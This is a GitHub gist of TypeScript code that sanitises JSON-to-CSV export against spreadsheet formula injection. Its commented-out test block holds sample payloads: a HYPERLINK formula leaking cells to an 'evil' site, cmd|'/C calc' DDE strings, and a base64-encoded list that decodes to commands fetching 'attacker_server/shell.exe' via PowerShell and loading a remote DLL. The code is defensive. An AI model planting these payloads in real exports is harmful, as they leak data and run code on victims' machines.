Skip to content

Instantly share code, notes, and snippets.

@yonixw
Last active June 8, 2023 08:49
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save yonixw/40a96571fad84032d676c8e15ba17245 to your computer and use it in GitHub Desktop.
Save yonixw/40a96571fad84032d676c8e15ba17245 to your computer and use it in GitHub Desktop.
Json2CSV against injections
const csv_safe_quote = '"';
const csv_safe_escapedQuote = '""""';
function safe_csv_item(item:any) : string {
try {
if (item === "") {
return '""'
}
// Force string:
item = typeof item === "string" ? item: `${item}`;
let isNumber = /^[0-9\+\-\.\,]+$/.test(item);
if (isNumber) {
return `"${item}"`;
}
else {
// https://github.com/mrodrig/json-2-csv/blob/ab9e1d0f5472002cc50262848e1649dcacc0c384/src/json2csv.ts#L337
item = item.replace(/^[=+\-@\t\r]+/g, '');
// https://github.com/juanjoDiaz/json2csv/blob/main/packages/formatters/src/stringExcel.ts
item = `"=""${item.replace(new RegExp(csv_safe_quote, 'g'), csv_safe_escapedQuote)}"""`
return item;
}
}
catch(e) {
return "[CSV-ERR]"
}
}
function isNully(x: any) {
return x == undefined || x == null || (typeof x == "number" && isNaN(x))
}
export function safe_csv_fromObjList(list: Array<{[key:string]:any}>, headerKeys : string[]|null = null, newline = "\r\n") : string {
try {
if (!list || !Array.isArray(list)) {
return "[CSV-NON-ARR]"
}
list = list || [];
let result = "";
// de-dupe keys
let keySet = new Set<string>();
list.forEach(item=>
Object.keys(item||{}).forEach(
key=>keySet.add(key)
)
)
// Make header object
let keys: string[] = headerKeys || [...keySet.values()];
let header = headerKeys || Object.fromEntries( keys.map(e=>[e,1]) );
// Make new list
let safeList = list.map(item=>
keys.map(key=>
safe_csv_item(isNully(item[key]) ? '' : item[key])
).join(',')
)
// Make safe key header
let safeHeader = keys.map(key=>safe_csv_item(key)).join(',')
result = safeHeader + newline + safeList.join(newline);
return result;
}
catch(e) {
return "[CSV-LST-ERR]"
}
}
/*
console.log('________________________________________')
console.log(safe_csv_fromObjList(
[{a:1},{b:2},{a:33,b:5}]
))
console.log('________________________________________')
console.log(safe_csv_fromObjList([{
"_id": "aaaaaaaaa000000000",
"createdAt": 1232153632759,
"updatedAt": 1275063311561,
"username": "yoni",
"firstName": "=HYPERLINK(“http://MyExtremelyEvilSite.com?leak=”&A1&” “&B1)",
"lastName": "=cmd|'/C calc'!A0",
"__typename": "Profile",
"roles3": "Admin",
"emails.address": "yoni@example.com",
"__typename": "EmailRecord",
"ssoLogin": "",
"phone": "",
}]))
console.log('________________________________________')
// https://github.com/payloadbox/csv-injection-payloads/blob/master/Intruder/csv-payload.txt
// See also: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CSV%20Injection/README.md
const example_csv_payloads = "RERFICgiY21kIjsiL0MgY2FsYyI7IiFBMCIpQTAKQFNVTSgxKzkpKmNtZHwnIC9DIGNhbGMnIUEwCj0xMC" +
"syMCtjbWR8JyAvQyBjYWxjJyFBMAo9Y21kfCcgL0Mgbm90ZXBhZCchJ0ExJwo9Y21kfCcvQyBwb3dlcnNoZWxsIElFWCh3Z2V0IGF0dGFja2" +
"VyX3NlcnZlci9zaGVsbC5leGUpJyFBMAo9Y21kfCcvYyBydW5kbGwzMi5leGUgXFwxMC4wLjAuMVwzXDJcMS5kbGwsMCchX3hsYmdubS5BMQ=="
console.log(safe_csv_fromObjList([
... atob(example_csv_payloads).split(/\r?\n/).map(e=>({payload:e}))
]))
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment